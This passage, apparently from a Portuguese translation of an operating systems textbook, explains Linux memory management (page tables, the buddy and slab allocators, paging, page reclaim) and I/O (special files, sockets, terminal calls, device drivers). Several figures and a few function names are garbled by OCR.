escolhe a tabela de páginas a ser usada. Da mesma forma, a paginação de três níveis pode ser usada 

quando necessário, definindo o tamanho do campo superior do diretório da página como zero. Começando com o 
Kernel 4.14, cinco tabelas de páginas de nível e também são suportadas, para aproveitar as extensões de 
hardware x86-64 originalmente introduzidas nos processadores Intel Ice Lake. 


Página 
Página global Parte superior da página Meio da página 
diretório diretório diretório Tabela de páginas 
Disi Virtual 
iretóri iretóri j iretório i iári esvio 
Diretório global Diretório superior Diretório intermediário endereço 


Figura 10-16. O Linux usa tabelas de páginas de quatro níveis. 


A memória física é usada para diversos fins. O kernel em si é totalmente conectado; nenhuma parte 
dele é paginada. O restante da memória está disponível para o usuário 
páginas, o cache de paginação e outras finalidades. O cache de páginas contém páginas contendo blocos 
de arquivos que foram lidos recentemente ou que foram lidos antecipadamente em 
expectativa de uso em um futuro próximo, ou páginas de blocos de arquivos que precisam 
ser gravados no disco, como aqueles que foram criados a partir de processos no modo de usuário que 
foram transferidos para o disco. É dinâmico em tamanho e compete por 
o mesmo conjunto de páginas que o usuário processa. O cache de paginação não é realmente um cache 
separado, mas simplesmente o conjunto de páginas do usuário que não são mais necessárias e estão 
aguardando para serem paginadas. Se uma página no cache de paginação for reutilizada antes de ser 
despejado da memória, ele pode ser recuperado rapidamente. 

Além disso, o Linux suporta módulos carregados dinamicamente, na maioria das vezes dispositivos 
motoristas. Estes podem ser de tamanho arbitrário e cada um deve receber um espaço contíguo 
pedaço de memória do kernel. Como consequência direta desses requisitos, o Linux 
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gerencia a memória física de tal forma que pode adquirir à vontade um pedaço de memória de tamanho 
arbitrário. O algoritmo que ele usa é conhecido como algoritmo de camarada e é descrito abaixo. 


Mecanismos de alocação de memória 


O Linux suporta vários mecanismos para alocação de memória. O principal mecanismo para alocar 
novos quadros de páginas de memória física é o alocador de páginas, que opera usando o conhecido 
algoritmo buddy. 

A ideia básica para gerenciar um pedaço de memória é a seguinte. Inicialmente a memória consiste em 
uma única peça contígua, 64 páginas no exemplo simples da Figura 10.17(a). Quando chega uma solicitação 
de memória, ela é primeiro arredondada para uma potência de 2, digamos oito páginas. O pedaço de memória 
completo é então dividido ao meio, conforme mostrado em (b). Como cada uma dessas peças ainda é muito 
grande, a peça inferior é dividida ao meio novamente (c) e novamente (d). Agora temos um pedaço do tamanho 
correto, então ele é alocado para o chamador, conforme mostrado sombreado em (d). 


32 32 32 32 32 32 32 

e] s 

16 16 16 7 1 

a ES CA el c EE 
EAG f — 
E ES ER 
O o o ®© 0 


(9) (h) e 


(a) 


Figura 10-17. Operação do algoritmo buddy. 


Agora suponha que chegue uma segunda solicitação de oito páginas. Isto pode ser satisfeito diretamente 
agora (e). Neste ponto, chega uma terceira solicitação de quatro páginas. O menor pedaço disponível é dividido 
(f) e metade dele é reivindicado (g). Em seguida, é lançado o segundo dos blocos de 8 páginas (h). Finalmente, 
o outro pedaço de oito páginas é lançado. Como os dois blocos adjacentes de oito páginas recém-liberados 
vieram do mesmo bloco de 16 páginas, eles são mesclados para recuperar o bloco de 16 páginas (i). 


O Linux gerencia a memória usando o algoritmo buddy, com a característica adicional de possuir um array 
em que o primeiro elemento é o cabeçalho de uma lista de blocos de tamanho 1 unidade, o segundo elemento 
é o cabeçalho de uma lista de blocos de tamanho 2 unidades, o próximo elemento aponta para os blocos de 4 


unidades e assim por diante. Desta forma, qualquer bloco de potência de 2 pode ser encontrado rapidamente. 


Este algoritmo leva a uma fragmentação interna considerável porque se você 
Se você quiser um pedaço de 65 páginas, terá que pedir e obter um pedaço de 128 páginas. 
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Para aliviar esse problema, o Linux tem um segundo alocador de memória, o alocador de 
placas, que pega pedaços usando o algoritmo buddy, mas depois corta blocos (unidades 
menores) deles e gerencia as unidades menores separadamente. 

Como o kernel frequentemente cria e destrói objetos de certos tipos (por exemplo, estrutura 
de tarefas), ele depende dos chamados caches de objetos. Esses caches consistem em 
ponteiros para um ou mais blocos que podem armazenar vários objetos do mesmo tipo. Cada 
uma das lajes pode estar cheia, parcialmente cheia ou vazia. 

Por exemplo, quando o kernel precisa alocar um novo descritor de processo, ou seja, uma 
nova estrutura de tarefa, ele procura estruturas de tarefa no cache de objetos e primeiro tenta 
encontrar uma laje parcialmente cheia e alocar um novo objeto de estrutura de tarefa lá. Se 
nenhuma laje estiver disponível, ele verifica a lista de lajes vazias. Finalmente, se necessário, 
ele alocará um novo bloco, colocará a nova estrutura de tarefas lá e vinculará esse bloco ao 
cache de objetos da estrutura de tarefas. O serviço de kernel kmalloc , que aloca regiões de 
memória fisicamente contíguas no espaço de endereço do kernel, é na verdade construído 
sobre a interface de cache de objeto e de placa descrita aqui. 

Um terceiro alocador de memória, vmalloc, também está disponível e é usado quando a 
memória solicitada precisa ser contígua apenas no espaço virtual e não na memória física. Na 
prática, isso é verdade para a maior parte da memória solicitada. Uma exceção consiste em 
dispositivos que ficam do outro lado do barramento de memória e da unidade de gerenciamento 
de memória e, portanto, não entendem endereços virtuais. No entanto, o uso de vmalloc resulta 
em alguma degradação de desempenho e é usado principalmente para alocar grandes 
quantidades de espaço de endereço virtual contíguo, como para inserir dinamicamente módulos 
de kernel. Todos esses alocadores de memória são derivados daqueles do System V. 


Representação de espaço de endereço virtual 


O espaço de endereço virtual é dividido em áreas ou regiões homogêneas, contíguas e 
alinhadas às páginas. Ou seja, cada área consiste em uma série de páginas consecutivas com 
as mesmas propriedades de proteção e paginação. O segmento de texto e os arquivos 
mapeados são exemplos de áreas (ver Fig. 10-13). Pode haver lacunas no espaço de endereço 
virtual entre as áreas. Qualquer referência de memória a um buraco resulta em uma falha de 
página fatal. O tamanho da página é fixo, por exemplo, 4 KB para Pentium e 8 KB para Alpha. 
Começando com o Pentium, foi adicionado suporte para frames de página de 4 MB. 

Nas arquiteturas recentes de 64 bits, o Linux pode suportar páginas enormes de 2 MB ou 1 GB 
cada. Além disso, no modo PAE (Extensão de Endereço Físico) , que é usado em determinadas 
arquiteturas de 32 bits para aumentar o espaço de endereço do processo além de 4 GB, são 
suportados tamanhos de página de 2 MB. 

Cada área é descrita no kernel por uma entrada de estrutura de área vm . Todas as 
estruturas de área VM de um processo são vinculadas em uma lista classificada por endereço 
virtual para que todas as páginas possam ser encontradas. Quando a lista fica muito longa (mais 
de 32 entradas), uma árvore é criada para agilizar a busca. A entrada vm area struct lista as 
propriedades da área. Essas propriedades incluem o modo de proteção (por exemplo, somente leitura 
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ou leitura/gravação), se está fixado na memória (não paginável) e em qual direção 
ele cresce (para cima para segmentos de dados, para baixo para pilhas). 

A estrutura da área vm também registra se a área é privada para o processo ou 
compartilhado com um ou mais outros processos. Após um fork, o Linux faz uma cópia do 
lista de áreas para o processo filho, mas configura o pai e o filho para apontarem para o mesmo 
tabelas de páginas. As áreas são marcadas como leitura/gravação, mas as próprias páginas são 
marcado como somente leitura. Se algum dos processos tentar escrever em uma página, uma falha de proteção 
ocorre e o kernel vê que a área é logicamente gravável, mas a página não é 
gravável, portanto fornece ao processo uma cópia da página e marca-a como leitura/gravação. Esse 
mecanismo é como a cópia na gravação é implementada. 

A estrutura da área vm também registra se a área possui armazenamento de apoio em disco 
atribuído e, em caso afirmativo, onde. Segmentos de texto usam o binário executável como apoio 
arquivos de armazenamento e mapeados em memória usam o arquivo em disco como armazenamento de apoio. Outras áreas, 
como a pilha, não têm armazenamento de apoio atribuído até que tenham que ser paginados 
fora. 

Um descritor de memória de nível superior, mm struct, reúne informações sobre todas as áreas de memória 
virtual pertencentes a um espaço de endereço, informações sobre os diferentes 
segmentos (texto, dados, pilha), sobre usuários que compartilham esse espaço de endereço e assim por diante. Todos 
Os elementos estruturais da área vm de um espaço de endereço podem ser acessados por meio de seu descritor de 
memória de duas maneiras. Primeiro, eles são organizados em listas vinculadas ordenadas por endereços de memória 
virtual. Esta forma é útil quando todas as áreas da memória virtual precisam ser 
acessado, ou quando o kernel está procurando alocar uma região de memória virtual de um 
tamanho específico. Além disso, as entradas da estrutura da área vm são organizadas em um formato binário 
árvore "vermelho-preto", uma estrutura de dados otimizada para pesquisas rápidas. Este método é usado 
quando uma memória virtual específica precisa ser acessada. Ao permitir o acesso a elementos do espaço de 
endereçamento do processo através destes dois métodos, o Linux utiliza mais recursos de estado. 


por processo, mas permite que diferentes operações do kernel usem o método de acesso que 
é mais eficiente para a tarefa em questão. 


10.4.4 Paginação no Linux 


Os primeiros sistemas UNIX dependiam de um processo swapper para mover processos inteiros 
entre a memória e o disco sempre que nem todos os processos ativos cabem na memória física. O Linux, como outras 
versões modernas do UNIX, não move mais 
processos. A principal unidade de gerenciamento de memória é uma página, e quase todos os componentes de 
gerenciamento de memória operam em granularidade de página. O subsistema de troca também opera na 
granularidade da página e está fortemente acoplado ao quadro da página. 
algoritmo de recuperação, descrito posteriormente nesta seção. 

A ideia básica por trás da paginação no Linux é simples: um processo não precisa ser totalmente 
na memória para executar. Tudo o que é realmente necessário é a estrutura do usuário e o 
tabelas de páginas. Se estes forem trocados, o processo é considerado “na memória” e pode 


ser programado para ser executado. As páginas dos segmentos de texto, dados e pilha são trazidas 
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dinamicamente, um de cada vez, conforme são referenciados. Se a estrutura do usuário e a tabela de 
páginas não estiverem na memória, o processo não poderá ser executado até que o swapper os traga. 


A paginação é implementada parcialmente pelo kernel e parcialmente por um novo processo chamado 
page daemon. O daemon de página é o processo 2 (o processo 0 é o processo ocioso — tradicionalmente 
chamado de swapper — e o processo 1 é o init, como mostrado na Figura 10.11). Como todos os daemons, 

o daemon de página é executado periodicamente. Uma vez acordado, ele olha em volta para ver se há 
algum trabalho a fazer. Se perceber que o número de páginas na lista de páginas de memória livre é muito 
baixo, ele começa a liberar mais páginas. 

Linux é um sistema totalmente paginado por demanda, sem pré-paginação e sem conceito de conjunto 
de trabalho (embora haja uma chamada na qual um usuário pode dar uma dica de que uma determinada 
página pode ser necessária em breve, na esperança de que ela esteja lá quando necessário) . Segmentos 
de texto e arquivos mapeados são paginados para seus respectivos arquivos no disco. Todo o resto é 
paginado para a partição de paginação (se houver) ou para um dos arquivos de paginação de comprimento 
fixo, chamado de área de troca. Os arquivos de paginação podem ser adicionados e removidos 
dinamicamente e cada um tem uma prioridade. A paginação para uma partição separada, acessada como 
um dispositivo bruto, é mais eficiente do que a paginação para um arquivo por vários motivos. Primeiro, o 
mapeamento entre blocos de arquivo e blocos de disco não é necessário (poupa E/S de disco lendo blocos 
indiretos). Em segundo lugar, as gravações físicas podem ser de qualquer tamanho, não apenas do tamanho 
do bloco do arquivo. Terceiro, uma página é sempre gravada de forma contígua no disco; com um arquivo 
de paginação, pode ou não ser. 

As páginas não são alocadas no dispositivo de paginação ou na partição até que sejam necessárias. 
Cada dispositivo e arquivo começa com um bitmap informando quais páginas são gratuitas. Quando uma 
página sem armazenamento de apoio precisa ser descartada da memória, a partição ou arquivo de paginação 
de maior prioridade que ainda tem espaço é escolhido e uma página alocada nela. Normalmente, a partição 
de paginação, se presente, tem prioridade mais alta que qualquer arquivo de paginação. A tabela de páginas 
é atualizada para refletir que a página não está mais presente na memória (por exemplo, o bit de página não 
presente é definido) e a localização do disco é gravada na entrada da tabela de páginas. 


O algoritmo de substituição de página 


A substituição de páginas funciona da seguinte maneira. O Linux tenta manter algumas páginas livres 
para que possam ser reivindicadas conforme necessário. É claro que esse reservatório deve ser 
continuamente reabastecido. O algoritmo PFRA (Page Frame Reclaiming Algorithm) é como isso acontece. 


Em primeiro lugar, o Linux distingue entre quatro tipos diferentes de páginas: não reivindicáveis, 
trocáveis, sincronizáveis e descartáveis. Páginas não recuperáveis, que incluem páginas reservadas ou 
bloqueadas, pilhas de modo kernel e similares, não podem ser paginadas. As páginas trocáveis devem ser 
gravadas de volta na área de troca ou na partição do disco de paginação antes que a página possa ser 
recuperada. As páginas sincronizáveis devem ser gravadas de volta no disco se tiverem sido marcadas 
como sujas. Finalmente, as páginas descartáveis podem ser recuperadas imediatamente. 
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No momento da inicialização, o init inicia um daemon de páginas, kswapd, para cada nó de memória e 
os configura para serem executados periodicamente. Cada vez que o kswapd aw é ativado, ele verifica se há 
páginas livres suficientes disponíveis, comparando as marcas d'água baixa e alta com o uso atual de memória 
para cada zona de memória. Se houver memória suficiente, ele volta a dormir, embora possa ser despertado 
mais cedo se mais páginas forem necessárias repentinamente. Se a memória disponível para qualquer uma 
das zonas cair abaixo de um limite, o kswapd inicia o algoritmo de recuperação de quadro de página. Durante 
cada execução, apenas um determinado número alvo de páginas é recuperado, normalmente um máximo de 
32. Esse número é limitado para controlar a pressão de E/S (o número de gravações em disco criadas durante 
as operações PFRA). Tanto o número de páginas recuperadas quanto o número total de páginas digitalizadas 


são parâmetros configuráveis. 


Cada vez que o PFRA é executado, ele primeiro tenta recuperar as páginas fáceis e depois prossegue 
com as mais difíceis. Muitas pessoas também pegam primeiro as frutas mais fáceis de alcançar. 
Páginas descartáveis e não referenciadas podem ser recuperadas imediatamente, movendo-as para a lista 
gratuita da zona. Em seguida, ele procura páginas com armazenamento de apoio que não tenham sido 
referenciadas recentemente, usando um algoritmo semelhante ao de um relógio. A seguir estão as páginas 
compartilhadas que nenhum dos usuários parece estar usando muito. O desafio das páginas compartilhadas 
é que, se uma entrada de página for recuperada, as tabelas de páginas de todos os espaços de endereço 
que originalmente compartilham aquela página deverão ser atualizadas de maneira síncrona. O Linux mantém 
estruturas de dados eficientes em forma de árvore para encontrar facilmente todos os usuários de uma página compartilhada. 
As páginas de usuários comuns são pesquisadas em seguida e, se escolhidas para serem removidas, devem 
ser agendadas para gravação na área de troca. A troca do sistema, ou seja, a proporção de páginas com 
armazenamento de apoio versus páginas que precisam ser trocadas selecionadas durante o PFRA, é um 
parâmetro ajustável do algoritmo. Finalmente, se uma página for inválida, estiver ausente da memória, 


compartilhada, bloqueada na memória ou estiver sendo usada para DMA, ela será ignorada. 


A PFRA usa um algoritmo semelhante a um relógio para selecionar páginas antigas para remoção 
dentro de uma determinada categoria. No centro deste algoritmo está um loop que varre as listas ativas e 
inativas de cada zona, tentando recuperar diferentes tipos de páginas, com diferentes urgências. O valor de 
urgência é passado como um parâmetro informando ao procedimento quanto esforço será despendido para 
recuperar algumas páginas. Normalmente, isso significa quantas páginas inspecionar antes de desistir. 


Durante o PFRA, as páginas são movidas entre a lista ativa e inativa da maneira descrita na Figura 
10.18. Para manter algumas heurísticas e tentar encontrar páginas que não foram referenciadas e que 
provavelmente não serão necessárias num futuro próximo, o PFRA mantém duas flags por página: ativa/inativa 
e referenciada ou não. Esses dois sinalizadores codificam quatro estados, conforme mostrado na Figura 10.18. 
Durante a primeira varredura de um conjunto de páginas, o PFRA primeiro limpa seus bits de referência. Se 
durante a segunda passagem pela página for determinado que ela foi referenciada, ela avança para outro 
estado, do qual é menos provável que seja recuperada. Caso contrário, a página será movida para um estado 


de onde será mais provável ser removida. 


As páginas da lista de inativos, que não foram referenciadas desde a última vez que foram inspecionadas, 
são as melhores candidatas ao despejo. São páginas com ambos 
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PG ativo e PG referenciado definidos como zero na Figura 10-18. No entanto, se necessário, as 
páginas podem ser recuperadas mesmo que estejam em alguns dos outros estados. As setas de 
recarga na Fig. 10-18 ilustram esse fato. 


Inativo Ativo 


PG ativo = 0 Wer o 
PG referenciado = 0 


PG ativo = 1 
PG referenciado = O 


Usado Tempo esgotado Tempo esgotado 


À x 
l 
! 
l 
l 


PG_ativo = 0 iaig PG_ativo = 1 


PG referenciado = 1 PG_referenciado = 1 


Figura 10-18. Estados de página considerados no algoritmo de substituição de quadro de página. 


A razão pela qual a PRFA mantém páginas na lista inativa, embora possam ter sido referenciadas, 
é para evitar situações como as seguintes. Considere um processo que faz acessos periódicos a 
diferentes páginas, com período de 1 hora. Uma página acessada desde o último loop terá seu 
sinalizador de referência definido. Contudo, uma vez que não será necessário novamente durante a 
próxima hora, não há razão para não considerá-lo como uma possibilidade de recuperação. 


A etapa real de recuperação de páginas de memória é executada por threads de trabalho do 
kernel. Esses threads (1) são ativados periodicamente, normalmente a cada 500 ms, para gravar de 
volta no disco páginas sujas muito antigas, ou (2) são explicitamente despertados pelo kernel quando 
os níveis de memória disponíveis caem abaixo de um determinado limite, para gravar de volta páginas 
sujas. do cache da página para o disco. Páginas sujas também podem ser gravadas em disco em 
solicitações explícitas de sincronização, por meio de chamadas de sistema como sync, fsync ou 
fdatasync. Versões mais antigas do Linux usavam dois daemons separados: kupdate, para write- 
back de páginas antigas, e bdflush, para write-back de páginas em condições de pouca memória. No 
kernel 2.4, esta funcionalidade foi integrada nos threads do pdflush . A escolha de múltiplos threads 
foi feita para ocultar longas latências de disco. Mais tarde, os threads paflush foram substituídos 
primeiro por threads flusher de dispositivo por bloco , até que a funcionalidade de write-back (e outras) 
fosse toda atribuída aos threads de trabalho do kernel. 


10.5 ENTRADA/SAÍDA NO LINUX 


O sistema de E/S no Linux é bastante simples e igual ao de outros UNICES. Basicamente, todos 
os dispositivos de E/S são feitos para se parecerem com arquivos e são acessados como tal com as 
mesmas chamadas de sistema de leitura e gravação usadas para acessar todos os arquivos comuns. 
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arquivos. Em alguns casos, os parâmetros do dispositivo devem ser definidos, e isso é feito por meio de 
uma chamada de sistema especial. Estudaremos essas questões nas seções seguintes. 


10.5.1 Conceitos Fundamentais 


Como todos os computadores, aqueles que executam Linux possuem dispositivos de E/S, como 
discos, impressoras e redes, conectados a eles. É necessária alguma forma para permitir que programas 
acessem esses dispositivos. Embora várias soluções sejam possíveis, a do Linux é integrar os dispositivos 
ao sistema de arquivos como os chamados arquivos especiais. Cada dispositivo de E/S recebe um nome 
de caminho, geralmente em /dev. Por exemplo, um disco pode ser /dev/hd1, uma impressora pode ser /dev/ 
lp e a rede pode ser /dev/net. 

Esses arquivos especiais podem ser acessados da mesma forma que qualquer outro arquivo. Nenhum 
comando especial ou chamada de sistema é necessário. As habituais chamadas de sistema de abertura, leitura 


e gravação funcionarão perfeitamente. Por exemplo, o comando 
arquivo cp /dev/lp 


copia o arquivo para a impressora, fazendo com que ele seja impresso (assumindo que o usuário tenha 
permissão para acessar /dev/|p). Os programas podem abrir, ler e gravar arquivos especiais exatamente da 
mesma maneira que fazem com arquivos normais. Na verdade, cp no exemplo acima nem sabe que está 
imprimindo. Dessa forma, nenhum mecanismo especial é necessário para realizar E/S. 


Arquivos especiais são divididos em duas categorias, bloco e caractere. Um arquivo especial de 
bloco é aquele que consiste em uma sequência de blocos numerados. A principal propriedade do arquivo 
especial de bloco é que cada bloco pode ser endereçado e acessado individualmente. 

Em outras palavras, um programa pode abrir um arquivo especial de bloco e ler, digamos, o bloco 124 sem 
primeiro ter que ler os blocos 0 a 123. Arquivos especiais de bloco são normalmente usados para discos (e 
SSDs, é claro). 

Arquivos especiais de caracteres são normalmente usados para dispositivos que entram ou saem 
de um fluxo de caracteres. Teclados, impressoras, redes, mouses, plotters e a maioria dos outros dispositivos 
de E/S que aceitam ou produzem dados para pessoas usam arquivos de caracteres especiais. Não é 
possível (ou mesmo significativo) tentar bloquear 124 em um mouse. 

Associado a cada arquivo especial está um driver de dispositivo que controla o dispositivo 
correspondente. Cada driver possui o que é chamado de número de dispositivo principal que serve para 
identificá-lo. Se um driver suportar vários dispositivos, digamos, dois discos do mesmo tipo, cada disco terá 
um número de dispositivo secundário que o identifica. Juntos, os números de dispositivos principais e 
secundários especificam exclusivamente cada dispositivo de E/S. Em alguns casos, um único driver controla 
dois dispositivos intimamente relacionados. Por exemplo, o driver correspondente a /dev/tty controla tanto o 
teclado quanto a tela, muitas vezes pensado como um único dispositivo, o terminal. 


Embora a maioria dos arquivos especiais de caracteres não possam ser acessados aleatoriamente, 
eles geralmente precisam ser controlados de uma forma que os arquivos especiais de bloqueio não precisam. 
Considere, por exemplo, uma entrada digitada no teclado e exibida na tela. Quando um usuário comete um 
erro de digitação e deseja apagar o último caractere digitado, ele pressiona alguma tecla. Alguns 
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as pessoas preferem usar backspace e outras preferem DEL. Da mesma forma, para apagar 
toda a linha digitada, há muitas convenções. Tradicionalmente era usado @, mas com a 
disseminação do email (que usa @ no endereço de email), muitos sistemas adotaram CTRL-U 
ou algum outro caractere. Da mesma forma, para interromper o programa em execução, alguma 
tecla especial deve ser pressionada. Também aqui pessoas diferentes têm preferências 
diferentes. CTRL-C é uma escolha comum, mas não é universal. 

Em vez de fazer uma escolha e forçar todos a usá-la, o Linux permite que todas essas 
funções especiais e muitas outras sejam customizadas pelo usuário. Geralmente é fornecida 
uma chamada de sistema especial para definir essas opções. Esta chamada de sistema também 
lida com a expansão de guias, habilitando e desabilitando o eco de caracteres, conversão entre 
retorno de carro e alimentação de linha e itens semelhantes. A chamada do sistema não é 
permitida em arquivos regulares ou bloqueia arquivos especiais. 


10.5.2 Rede 


Outro exemplo de E/S é a rede, iniciada pelo Berkeley UNIX e adotada pelo Linux mais ou 
menos literalmente. O conceito chave no design de Berkeley é o soquete. Os soquetes são 
análogos às caixas de correio e às tomadas telefônicas, pois permitem que os usuários façam 
interface com a rede, assim como as caixas de correio permitem que as pessoas façam interface 
com o sistema postal e as tomadas telefônicas permitem que eles conectem telefones e 
conectem-se ao sistema telefônico. A posição dos soquetes é mostrada na Fig. 10-19. 


Processo de envio Processo de recebimento 


Espaço do usuário 


Espaço do kernel 


Conexão 


Rede 


Figura 10-19. Os usos de soquetes para redes. 


Os soquetes podem ser criados e destruídos dinamicamente. A criação de um soquete retorna 
um descritor de arquivo, que é necessário para estabelecer uma conexão, ler dados, gravar 
dados e liberar a conexão. 

Cada soquete suporta um tipo específico de rede, especificado quando o soquete é criado. 
Os tipos mais comuns são os seguintes: 
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1. Fluxo de bytes orientado a conexão confiável. 
2. Fluxo de pacotes confiável e orientado à conexão. 


3. Transmissão de pacotes não confiável. 


O primeiro tipo de soquete permite que dois processos em máquinas diferentes estabeleçam o 
equivalente a um tubo entre eles. Os bytes são bombeados em uma extremidade e saem na 
mesma ordem na outra. O sistema garante que todos os bytes enviados cheguem corretamente e 
na mesma ordem em que foram enviados. 

O segundo tipo é bastante semelhante ao primeiro, exceto pelo fato de preservar os limites 
dos pacotes. Se o remetente fizer cinco chamadas separadas para escrever, cada uma para 512 
bytes, e o receptor solicitar 2.560 bytes, com um soquete tipo 1, todos os 2.560 bytes serão 
retornados de uma vez. Com um soquete tipo 2, apenas 512 bytes serão retornados. São 
necessárias mais quatro ligações para conseguir o restante. O terceiro tipo de soquete é usado 
para dar ao usuário acesso à rede bruta. Este tipo é especialmente útil para aplicações em tempo 
real e para aquelas situações em que o usuário deseja implementar um esquema especializado 
de tratamento de erros. Os pacotes podem ser perdidos ou reordenados pela rede. Não há 
garantias, como nos dois primeiros casos. A vantagem deste modo é o desempenho mais 
elevado, que às vezes supera a confiabilidade (por exemplo, para entrega de multimídia, em que 
ser rápido conta mais do que estar certo). 

Quando um soquete é criado, um dos parâmetros especifica o protocolo a ser usado para 
ele. Para fluxos de bytes confiáveis, o protocolo mais popular é o TCP (Transmision Control 
Protocol). Para transmissão orientada a pacotes não confiável, o UDP (User Datagram Protocol) 
é a escolha usual. Ambos estão em camadas sobre IP (Protocolo de Internet). Todos esses 
protocolos tiveram origem na ARPANET do Departamento de Defesa dos EUA e agora formam a 
base da Internet. Não existe um protocolo comum para fluxos de pacotes confiáveis. 


Antes que um soquete possa ser usado para rede, ele deve ter um endereço vinculado a ele. 
Este endereço pode estar em um dos vários domínios de nomenclatura. O mais comum é o 
domínio de nomenclatura da Internet, que usa números inteiros de 32 bits para nomear terminais 
na versão 4 e números inteiros de 128 bits na versão 6 (a versão 5 era um sistema experimental 
que nunca chegou às ligas principais). 

Depois que os soquetes tiverem sido criados nos computadores de origem e de destino, uma 
conexão poderá ser estabelecida entre eles (para comunicação orientada à conexão). Uma parte 
faz uma chamada de sistema listen em um soquete local, que cria um buffer e bloqueia até a 
chegada dos dados. O outro faz uma chamada de sistema connect , fornecendo como parâmetros 
o descritor de arquivo para um soquete local e o endereço de um soquete remoto. Se o ponto 
remoto aceitar a chamada, ele criará um novo soquete (já que pode precisar do original para 
continuar a escutar outras solicitações de conexão) e o sistema então estabelecerá uma conexão 
entre o soquete do chamador e o soquete remoto recém-criado. 


Uma vez estabelecida uma conexão, ela funciona de forma análoga a um tubo. Um processo 
pode ler e escrever nele usando o descritor de arquivo de seu soquete local. 
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Quando a conexão não for mais necessária, ela poderá ser encerrada da maneira usual, através do 


feche a chamada do sistema. 


10.5.3 Chamadas de sistema de entrada/saída no Linux 


Cada dispositivo de E/S em um sistema Linux geralmente possui um arquivo especial associado 
isto. A maior parte da E/S pode ser feita usando apenas o arquivo adequado, eliminando a necessidade 
de chamadas especiais ao sistema. No entanto, às vezes há necessidade de algo específico para o 
dispositivo. Antes do POSIX, a maioria dos sistemas UNIX tinha uma chamada de sistema ioctl que 
executava um grande número de ações específicas de dispositivos em arquivos especiais. Ao longo 
ao longo dos anos, ficou uma bagunça. O POSIX limpou tudo dividindo seu 
funções em chamadas de função separadas, principalmente para dispositivos terminais. No Linux e 
sistemas UNIX modernos, quer cada um seja uma chamada de sistema separada ou compartilhem um 
uma única chamada de sistema ou outra coisa depende da implementação. 

As primeiras quatro cnamadas listadas na Fig. 10-20 são usadas para configurar e obter o terminal 
velocidade. Chamadas diferentes são fornecidas para entrada e saída porque alguns modems 
operar em velocidade dividida. Por exemplo, os antigos sistemas de videotexto permitiam que as pessoas acessassem 
bancos de dados públicos com solicitações curtas da casa para o servidor a 75 bits/s com 
respostas voltando a 1200 bits/seg. Esta norma foi adotada num momento em que 
1200 bits/s em ambos os sentidos era muito caro para uso doméstico. Os tempos mudam no mundo do 
trabalho em rede. Esta assimetria ainda persiste, com algumas companhias telefónicas 
oferecendo serviço de entrada a 40 Mbps e serviço de saída a 10 Mbps, ou algum 
outro arranjo assimétrico. Com a fibra óptica, o fluxo de entrada e saída 
as velocidades são geralmente as mesmas, por exemplo, 500/500. 


Chamada de função Descrição 


s = cfsetospeed(&ter mios, speed) Define a velpcidade de saída 


s = cfsetispeed(&ter mios, speed) Define a velacidade de entrada 


s = cfgetospeed(&ter mios, speed) Obtenha a velocidade de saída 


s = cfgtetispeed(&ter mios, speed) Obtenha a velocidade de entrada 


s = tesetattr(fd, opt, &termios) s = Defina os atributos 


tegetattr(fd, &termios) Obtenha os atributos 


Figura 10-20. As principais chamadas POSIX para gerenciamento do terminal. 


As duas últimas chamadas da lista são para definir e ler todos os 
caracteres usados para apagar caracteres e linhas, interromper processos e assim por diante. 
Além disso, eles ativam e desativam o eco, controlam o fluxo e executam funções semelhantes. Também 
existem chamadas de função de E/S adicionais, mas elas são um tanto especializadas, portanto não as 
discutiremos mais detalhadamente. Além disso, o ioctl ainda está disponível. 
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10.5.4 Implementação de Entrada/Saída no Linux 


A E/S no Linux é implementada por uma coleção de drivers de dispositivo, um por dispositivo 
tipo. A função dos drivers é isolar o resto do sistema das sincrasias idiomáticas do hardware. Fornecendo 
interfaces padrão entre os drivers 
e o resto do sistema operacional, a maior parte do sistema de E/S pode ser colocada no 
parte independente da máquina do kernel. 

Quando o usuário acessa um arquivo especial, o sistema de arquivos determina os arquivos principais e 
números secundários de dispositivos pertencentes a ele e se é um arquivo especial de bloco ou um 
arquivo especial de caractere. O número principal do dispositivo é usado para indexar em um dos dois 
tabelas hash internas contendo estruturas de dados para dispositivos de caracteres ou blocos. O 
a estrutura assim localizada contém ponteiros para os procedimentos a serem chamados para abrir o dispositivo, 
leia o dispositivo, escreva o dispositivo e assim por diante. O número secundário do dispositivo é passado como 
um parâmetro. Adicionar um novo tipo de dispositivo ao Linux significa adicionar uma nova entrada a um 
destas tabelas e fornecendo os procedimentos correspondentes para lidar com os vários 
operações no dispositivo. 

Algumas das operações que podem estar associadas a diferentes dispositivos de caracteres são 
mostradas na Figura 10-21. Cada linha refere-se a um único dispositivo de E/S (ou seja, um único 
motorista). As colunas representam as funções que todos os drivers de caracteres devem suportar. Várias 
outras funções também existem. Quando uma operação é executada em um arquivo de caractere especial, o 
sistema indexa na tabela hash de dispositivos de caracteres para 
selecione a estrutura adequada e, em seguida, chame a função correspondente para que o trabalho 
realizado. Assim, cada uma das operações do arquivo contém um ponteiro para uma função contida no driver 


correspondente. 
Dispositivo Abrir Fechar Ler Escrever loctl Outro 
Nulo nulo nulo nulo nulo nulo 
Memória nulo nulo mem leia mem escreva _ nulo 
Teclado k abérto — ok fechar ok, leia erro k ioctl 
Tty tty abrir tty fechar lp abrir leia- tty escrever tty ioctl Ip 
Pré-inter Ip fechar — erro Ip escrever ioctl 


Figura 10-21. Algumas das operações de arquivo suportadas por dispositivos de caracteres típicos. 


Cada driver é dividido em duas partes, ambas fazendo parte do kernel Linux 
e ambos são executados no modo kernel. A metade superior é executada no contexto do chamador 
e interfaces para o resto do Linux. A metade inferior é executada no contexto do kernel e 
interage com o dispositivo. Os drivers podem fazer chamadas para procedimentos do kernel 
para alocação de memória, gerenciamento de timer, controle DMA e outras coisas. O conjunto 
O número de funções do kernel que podem ser chamadas é definido em um documento chamado Driver Kernel 
Interface. A escrita de drivers de dispositivos para Linux é abordada detalhadamente em Cooper Stein (2009) 
e Corbet et al. (2009). 
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O sistema de E/S é dividido em dois componentes principais: o tratamento de arquivos 
especiais de bloco e o tratamento de arquivos especiais de caracteres. Veremos agora cada um 
desses componentes separadamente. 

O objetivo da parte do sistema que realiza E/S em arquivos especiais de bloco (por exemplo, 
discos) é minimizar o número de transferências que devem ser feitas. Para atingir esse objetivo, o 
Linux possui um cache entre os drivers de disco e o sistema de arquivos, conforme ilustrado na 
Figura 10.22. Antes do kernel 2.2, o Linux mantinha caches de páginas e buffers completamente 
separados, de modo que um arquivo residente em um bloco de disco pudesse ser armazenado em 
cache em ambos os caches. Versões mais recentes do Linux possuem um cache unificado. Uma 
camada de bloco genérica mantém esses componentes juntos, realiza as traduções necessárias 
